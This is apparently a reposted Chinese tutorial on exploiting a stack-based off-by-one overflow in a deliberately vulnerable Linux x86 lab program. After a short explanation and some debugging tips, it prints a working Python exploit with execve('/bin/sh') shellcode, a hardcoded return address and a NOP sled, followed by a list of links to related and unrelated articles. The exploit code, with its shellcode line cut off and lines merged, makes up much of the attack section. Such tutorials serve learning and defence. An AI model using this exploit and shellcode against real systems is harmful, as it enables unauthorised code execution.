Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)
Off-By-One 漏洞 (基于栈)
原文地址:https://bbs.pediy.com/thread-216954.htm
什么是off by one?
将源字符串复制到目标缓冲区可能会导致off by one
1、源字符串长度等于目标缓冲区长度。
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
一如既往的充分的定义,让我们来看看off by one的漏洞代码!
懒得粘贴了,还是看原文吧,仅对部分作出解释。
这篇全文解释的都特别清楚,我仅说下我调试过程中遇到的坑。
首先是这个使用的是core文件调试,编译选项gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
请注意没有使用-g选项,那么就不是debug模式,没有debug模式,调试的时候就没办法在源码上下断,所以只能使用core文件进行。
使用core文件调试的办法,作者也给出来了,但是我运行Python exp.py后,却没有core文件。经过查询资料,使用ulimit -c命令查询后,发现值为0,原来是系统默认(?)不允许创建core文件,修改限制,使用ulimit -c 1000修改
修改后,正常的生成了core文件。
还有一个比较坑的点是,gdb调试出的buf地址和真正运行的release版本的buf地址并不相同,偏移也有变化,需要特别注意。
还是老规矩,分享下我调试成功的exp.py文件
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call #Spawn a shell.
#execve(/bin/sh) Size- 28 bytes.
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\$ ret_addr = 0xbffff426 #endianess conversion
def conv(num):
return struct.pack("<I",num)#turn Address + NOP's + Shellcode + J$
buf = "A" * 68
buf += conv(ret_addr)
buf += "\x90" * 30
buf += scode
buf += "A" * 126 print "Calling vulnerable program"
call(["./vuln", buf])
Off-By-One 漏洞 (基于栈)
虚拟机安装:Ubuntu 12.04(x86)
什么是off by one?
将源字符串复制到目标缓冲区可能会导致off by one
1、源字符串长度等于目标缓冲区长度。
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
一如既往的充分的定义,让我们来看看off by one的漏洞代码!
漏洞代码:
Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)的更多相关文章
- Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))
off by one(栈)? 将源字符串复制到目标缓冲区可能会导致off by one 1.源字符串长度等于目标缓冲区长度. 当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上 ...
- Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出
Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出) Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解 典型的基于堆栈的缓冲区溢出 虚拟机 ...
- Linux Exploit系列之七 绕过 ASLR -- 第二部分
原文地址:https://github.com/wizardforcel/sploitfun-linux-x86-exp-tut-zh/blob/master/7.md 这一节是简单暴力的一节,作者讲 ...
- Linux Exploit系列之六 绕过ASLR - 第一部分
绕过ASLR - 第一部分 什么是 ASLR? 地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过 ...
- Linux Exploit系列之四 使用return-to-libc绕过NX bit
使用return-to-libc绕过NX bit 原文地址:https://bbs.pediy.com/thread-216956.htm 这篇讲解的比较好,主要的问题是获得system地址和exit ...
- Linux Exploit系列之二 整数溢出
整数溢出 虚拟机安装:Ubuntu 12.04(x86) 什么是整数溢出? 存储大于最大支持值的值称为整数溢出.整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代 ...
- .Neter玩转Linux系列之三:Linux下的分区讲解
基础篇 .Neter玩转Linux系列之一:初识Linux .Neter玩转Linux系列之二:Linux下的文件目录及文件目录的权限 .Neter玩转Linux系列之三:Linux下的分区讲解 .N ...
- Linux漏洞建议工具Linux Exploit Suggester
Linux漏洞建议工具Linux Exploit Suggester 在Linux系统渗透测试中,通常使用Nessus.OpenVAS对目标主机进行扫描,获取目标主机可能存在的漏洞.如果无法进行漏洞 ...
- Linux时间子系统之三:时间的维护者:timekeeper
专题文档汇总目录 Notes: 原文地址:Linux时间子系统之三:时间的维护者:timekeeper 本系列文章的前两节讨论了用于计时的时钟源:clocksource,以及内核内部时间的一些表示方法 ...
随机推荐
- Selenium踩坑记之iFrame的定位与切换
转自:https://www.jianshu.com/p/6e7d0359e4bb Selenium是浏览器自动化测试的工具之一,用过的人都懂他的好,也被他坑的不要不要的.今天就聊聊Selenium的 ...
- Python3基础 内置函数 id
Python : 3.7.3 OS : Ubuntu 18.04.2 LTS IDE : pycharm-community-2019.1.3 ...
- wpf日期控件
/// <summary> /// Value converter to convert a datetime object to the specified string format. ...
- 【JS】jquery展示JSON插件JSONView
JSONView介绍 jQuery插件,用于显示漂亮的JSON. 官网地址:https://plugins.jquery.com/jsonview/ git地址:https://github.com/ ...
- Python - Django - ORM 常用的字段属性
字段参数: null:用于表示某个字段可以为空 unique:如果设置为 unique=True,则该字段在此表中必须是唯一的 db_index:如果 db_index=True,则代表着为此字段设置 ...
- (十四)访问标志 Access_flags
一.概念 上一章节讲到了常量池,如下图,常量池之后便是访问标志acess_flags,占2个字节(u2). 二.例子 编写一个接口. public interface Test{ public fin ...
- k8s、jenkins集成
参考连接 http://www.uml.org.cn/jchgj/201804252.asp https://huanqiang.wang/2018/03/30/Jenkins-Gitlab-Kube ...
- Xray写POC插件
漏洞环境 https://www.vulnhub.com/ https://github.com/vulhub/vulhub https://github.com/QAX-A-Team/Weblogi ...
- idea创建自定义代码块
1.File——>settings 2.找到Editor——>live Templates,点击加号+ 3.创建group或直接创建,我这里创建了一个user组,然后在user组里面添加l ...
- Ubuntu18.04 root 登录
默认安装Ubuntu18.04都是不允许以root用户进行登录的,想要以root用户进行登录需要进行一些操作,主要是以下几个步骤:第一步:以普通用户登录系统,创建root用户的密码在终端输入命令:su ...